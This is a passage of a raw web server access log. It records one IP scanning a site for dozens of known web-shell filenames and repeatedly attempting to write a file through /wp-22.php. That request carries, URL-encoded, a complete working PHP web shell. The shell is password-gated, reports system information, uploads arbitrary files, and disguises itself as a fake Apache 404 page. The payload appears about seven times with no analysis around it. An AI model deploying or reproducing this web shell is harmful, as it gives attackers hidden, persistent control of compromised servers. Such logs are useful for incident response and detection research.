untu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:41 +0530] "GET /c.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:42 +0530] "GET /mari.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:42 +0530] "GET /wp-beckup.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:42 +0530] "GET /wp-includes/pomo/wp-cli.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:43 +0530] "GET /date.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:43 +0530] "GET /2.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:43 +0530] "GET /V3.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:43 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:43 +0530] "GET /priv8.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:44 +0530] "GET /wp-content/themes/wolf-shell.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:44 +0530] "GET /mi.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:45 +0530] "GET /baindex.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:46 +0530] "GET /wp-admin/includes/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 270 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:50 +0530] "GET /gif.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:52 +0530] "GET /asasx.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:54 +0530] "GET /wp-admin/radio.php HTTP/1.1" 302 238 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:54 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:54 +0530] "GET /9.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:54 +0530] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 302 255 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:54 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:55 +0530] "GET /wp-load.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:55 +0530] "GET /about.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:58 +0530] "GET /qindex.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:58 +0530] "GET /RxR.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:58 +0530] "GET /wp-admin/includes/block-line.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:45:59 +0530] "GET /wp-content/vuln.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:45:59 +0530] "GET /priv8.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:00 +0530] "GET /mt/pekok.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:01 +0530] "GET /wso1337.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:01 +0530] "GET /xox.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:02 +0530] "GET /sym403.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:02 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:02 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:03 +0530] "GET /wp-content/alfa.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:03 +0530] "GET /wp-includes/wp-atom.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:06 +0530] "GET /radio.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:07 +0530] "GET /wp-includes/images/media/wp-conflg.php HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:07 +0530] "GET /wso2.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /wp_class_datalib.php HTTP/1.1" 302 240 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /sendmail.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /wp-includes/images/wlw/lfx.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /wp-includes/css/1.phtml HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /wp-includes/pomo/wp-cli.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /wp-admin/includes/edit-tag-menu.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /mari.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:08 +0530] "GET /swm.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:09 +0530] "GET /bb.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:10 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:46:10 +0530] "GET /blog/fw.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:11 +0530] "GET /wp-admin/radio.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:12 +0530] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:13 +0530] "GET /qindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:14 +0530] "GET /V3.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:15 +0530] "GET /images/f.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:16 +0530] "GET /export.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:16 +0530] "GET /baindex.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:16 +0530] "GET /9.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:17 +0530] "GET /about.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:17 +0530] "GET /wp-admin/alfa.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:17 +0530] "GET /administrator/templates/hathor/error.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:18 +0530] "GET /22.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:46:18 +0530] 